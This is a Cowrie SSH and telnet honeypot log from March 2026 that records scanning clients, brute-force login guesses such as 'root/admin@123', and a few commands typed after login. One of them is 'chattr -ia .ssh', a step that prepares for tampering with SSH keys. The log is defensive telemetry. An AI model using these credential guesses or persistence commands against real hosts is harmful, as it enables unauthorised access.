{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:54:52.039273Z","src_ip":"160.187.147.124","session":"9aa678abd133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omar","password":"password","message":"login attempt [omar/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:54:52.998358Z","src_ip":"160.187.147.124","session":"9aa678abd133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:54:54.247732Z","src_ip":"160.187.147.124","session":"9aa678abd133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.59.58.107","src_port":50837,"dst_ip":"10.17.0.5","dst_port":23,"session":"948807cf08da","protocol":"telnet","message":"New connection: 41.59.58.107:50837 (10.17.0.5:23) [session: 948807cf08da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:55:25.707363Z"}
{"eventid":"cowrie.session.closed","duration":13.176740407943726,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:55:38.883981Z","src_ip":"41.59.58.107","session":"948807cf08da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":55716,"dst_ip":"10.17.0.5","dst_port":22,"session":"58168c8be1a7","protocol":"ssh","message":"New connection: 160.187.147.124:55716 (10.17.0.5:22) [session: 58168c8be1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:56:51.386438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:56:51.390360Z","src_ip":"160.187.147.124","session":"58168c8be1a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:56:51.640661Z","src_ip":"160.187.147.124","session":"58168c8be1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rick","password":"rick","message":"login attempt [rick/rick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:56:52.665882Z","src_ip":"160.187.147.124","session":"58168c8be1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:56:53.916900Z","src_ip":"160.187.147.124","session":"58168c8be1a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":34256,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba173cbee0c","protocol":"ssh","message":"New connection: 160.187.147.124:34256 (10.17.0.5:22) [session: dba173cbee0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:58:52.137820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:58:52.143337Z","src_ip":"160.187.147.124","session":"dba173cbee0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:58:52.383873Z","src_ip":"160.187.147.124","session":"dba173cbee0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"conectar","password":"123456","message":"login attempt [conectar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:58:53.345508Z","src_ip":"160.187.147.124","session":"dba173cbee0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:58:54.594851Z","src_ip":"160.187.147.124","session":"dba173cbee0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":41044,"dst_ip":"10.17.0.5","dst_port":22,"session":"98c1d1e0dac7","protocol":"ssh","message":"New connection: 160.187.147.124:41044 (10.17.0.5:22) [session: 98c1d1e0dac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:01:06.228303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:01:06.233453Z","src_ip":"160.187.147.124","session":"98c1d1e0dac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:01:06.483724Z","src_ip":"160.187.147.124","session":"98c1d1e0dac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jorge","password":"Jorge","message":"login attempt [jorge/Jorge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:01:07.498174Z","src_ip":"160.187.147.124","session":"98c1d1e0dac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:01:08.790919Z","src_ip":"160.187.147.124","session":"98c1d1e0dac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":47846,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dae10084b63","protocol":"ssh","message":"New connection: 160.187.147.124:47846 (10.17.0.5:22) [session: 3dae10084b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:03:13.853861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:03:13.858450Z","src_ip":"160.187.147.124","session":"3dae10084b63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:03:14.110657Z","src_ip":"160.187.147.124","session":"3dae10084b63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qwe","password":"qwe@123","message":"login attempt [qwe/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:03:15.142723Z","src_ip":"160.187.147.124","session":"3dae10084b63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:03:16.395570Z","src_ip":"160.187.147.124","session":"3dae10084b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":25611,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fee9c5b66bf","protocol":"ssh","message":"New connection: 213.209.159.159:25611 (10.17.0.5:22) [session: 1fee9c5b66bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:03:54.123459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:05.157527Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:05.236444Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela","message":"login attempt [maricela/maricela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:05.635229Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela1","message":"login attempt [maricela/maricela1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:06.719565Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela123","message":"login attempt [maricela/maricela123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:07.804140Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela1234","message":"login attempt [maricela/maricela1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:08.888957Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela12345","message":"login attempt [maricela/maricela12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:09.975315Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.9","message":"Connection lost after 16.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:11.060187Z","src_ip":"213.209.159.159","session":"1fee9c5b66bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.72.31.207","src_port":58692,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e3f5dcf9a35","protocol":"ssh","message":"New connection: 27.72.31.207:58692 (10.17.0.5:22) [session: 1e3f5dcf9a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:43.616316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:43.621240Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:43.884232Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":42470,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fdc78f13f35","protocol":"ssh","message":"New connection: 78.128.112.74:42470 (159.203.135.109:22) [session: 5fdc78f13f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:44.917180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:44.920542Z","src_ip":"78.128.112.74","session":"5fdc78f13f35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@123","message":"login attempt [root/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:44.965468Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.063339Z","src_ip":"78.128.112.74","session":"5fdc78f13f35","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.522166Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.525160Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.528275Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin1","message":"login attempt [root/admin1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.594947Z","src_ip":"78.128.112.74","session":"5fdc78f13f35","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.793808Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.924278Z","src_ip":"78.128.112.74","session":"5fdc78f13f35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:45.927412Z","src_ip":"78.128.112.74","session":"5fdc78f13f35","protocol":"ssh"}
